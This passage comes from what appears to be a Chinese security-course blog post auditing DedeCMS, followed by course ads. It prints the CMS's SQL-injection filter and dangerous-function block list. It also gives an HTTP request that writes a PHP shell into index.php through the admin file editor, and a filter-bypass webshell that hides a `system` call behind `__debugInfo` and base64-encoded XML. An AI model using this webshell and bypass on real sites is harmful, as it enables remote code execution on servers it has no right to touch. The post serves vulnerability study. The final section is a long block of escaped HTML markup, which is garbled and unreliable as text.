           while (TRUE)
          {
               $pos1 = strpos($db_string, '\'', $pos + 1);
               $pos2 = strpos($db_string, '\\', $pos + 1);
               if ($pos1 === FALSE)
              {
                   break;
              }
               elseif ($pos2 == FALSE || $pos2 > $pos1)
              {
                   $pos = $pos1;
                   break;
              }
               $pos = $pos2 + 1;
          }
           $clean .= '$s
;
           $old_pos = $pos + 1;
      }
       $clean .= substr($db_string, $old_pos);
       $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

       if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
       OR strpos($clean,'$s$s
)!== FALSE)
      {
           $fail = TRUE;
           if(preg_match("#^create table#i",$clean)) $fail = FALSE;
           $error="unusual character";
      }

       //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
       if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="union detect";
      }

       //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
       elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
      {
           $fail = TRUE;
           $error="comment detect";
      }

       //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
       elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }
       elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }

       //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
       elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="sub select detect";
      }
       if (!empty($fail))
      {
           fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
           exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
      }
       else
      {
           return $db_string;
      }
  }
}

案例 4

基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法

我们来到对应的路由去查看

果然找到了

//文件编辑

/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
   csrf_check();
   $filename = str_replace("..", "", $filename);
   $file = "$cfg_basedir$activepath/$filename";
   $str = stripslashes($str);
   $fp = fopen($file, "w");
   fputs($fp, $str);
   fclose($fp);

   if ($fp === false) {
       ShowMsg("保存失败!请检查文件是否可写", -1);
       exit();
  }

   if(empty($backurl))
  {
       ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
  }
   else
  {
       ShowMsg("成功保存文件!",$backurl);
  }
   exit();
}

一样的方法

文件名是 filename,内容是 str

我们访问对应的路由

发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗

POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwahta_5a98Q7N_flG_VxGw676bsG3Q_Hk4jTL1XGn8HrFtj7ITT0j3kWTuZGs6I-UvyxNRfGi-rNoxmSTFE5r0gcex_HS4cP3EIRhvDiGtL0l8FXtOxSMrK24qcFj3JoVYSmG96Nex-jhaGx1flJEYMyibz9IZePg-2omX_wkoeSaLq4YyiPqxM2PUlURr6YFm1mU5MQVi-YmbyXOl2fzt8A2tMnIjOgRKtXHxj6VLIZ9JeN7al8oiGzDb-Z64p8FHHhQN7zJzeWvRrN7arFe8tKpV7Nzrv; PHPSESSID=efqbsshdtt5v597qu9paat8s7a; _csrf_name_f9024a86=f709bfcd9cfdec39b55e236837689b25; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=f4d72c693dc8f42f; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1752071402; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=b21c89eb676161cd; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive

fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++

但是发现

所以准备调试分析一手

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
   $value = str_replace(" ", "", $value);
   if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
   if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

发现原因是因为有 waf

直接交给一个聪明朋友

移除多行注释

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

防止攻击者把危险代码写在注释中来绕过检测。

危险函数与变量过滤

$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';

匹配并拦截使用了以下内容的代码:

系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等

全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS

动态函数调用:call_user_func, create_function, 等

一旦匹配:直接终止执行并提示危险代码。

PHP 标签与代码执行行为检测

001.png

感觉过滤还是挺严格的

绕过 waf 到 RCE

直接掏出上次的 webshell,稍微修改一下就 ok 了

<?php

class User {
   private $username;
   private $password;

   public function __construct($username, $password) {
       $this->username = $username;
       $this->password = $password;
  }

   public function __debugInfo() {
       $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
       $xmlElement = new SimpleXMLElement($xmlData);
       $namespaces = $xmlElement->getNamespaces(TRUE);
       $xmlElement->rewind();
       var_dump($xmlElement->key());
       $result = $xmlElement->xpath('/books/system');
       var_dump (($result[0]->__toString()));
      ($xmlElement->key())($result[0]->__toString());
       return [
           'username' => $this->username,
           'info' => '这是调试时返回的信息',
           'timestamp' => time()
      ];
  }
}

$user = new User('alice', 'secret123');
var_dump($user);

原理上次大概讲过了,就是自动触发

详情可以看到蚁景网络安全这个公众号

https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg

感谢给的平台

然后我们访问首页

成功弹出计算器

蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~

扫码咨询客服了解招生最新内容和活动

🎈网安学院推荐课程:Web安全工程师特训班Python全栈安全开发特训班应急响应安全工程师特训班
 CTF-Reverse实战技能特训班CTF-WEB实战技能特训班 CTF-PWN实战技能特训班CTF-MISC实战技能特训班 SRC漏洞挖掘实战班HVV大师课
\u003C\u002Fspan\u003E)\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fail\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#^create table#i\"\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E)) \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fail\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$error\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"unusual character\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'union'\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E&&\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'~(^|[^a-z])union($|[^[a-z])~s'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fail\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$error\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"union detect\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelseif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\u002F*'\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E2\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E||\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'--'\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E||\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'#'\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fail\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$error\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"comment detect\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelseif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'sleep'\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E&&\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'~(^|[^a-z])sleep($|[^[a-z])~s'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fail\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$error\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"slown down detect\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelseif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'benchmark'\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E&&\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'~(^|[^a-z])benchmark($|[^[a-z])~s'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fail\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$error\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"slown down detect\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelseif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'load_file'\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E&&\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" 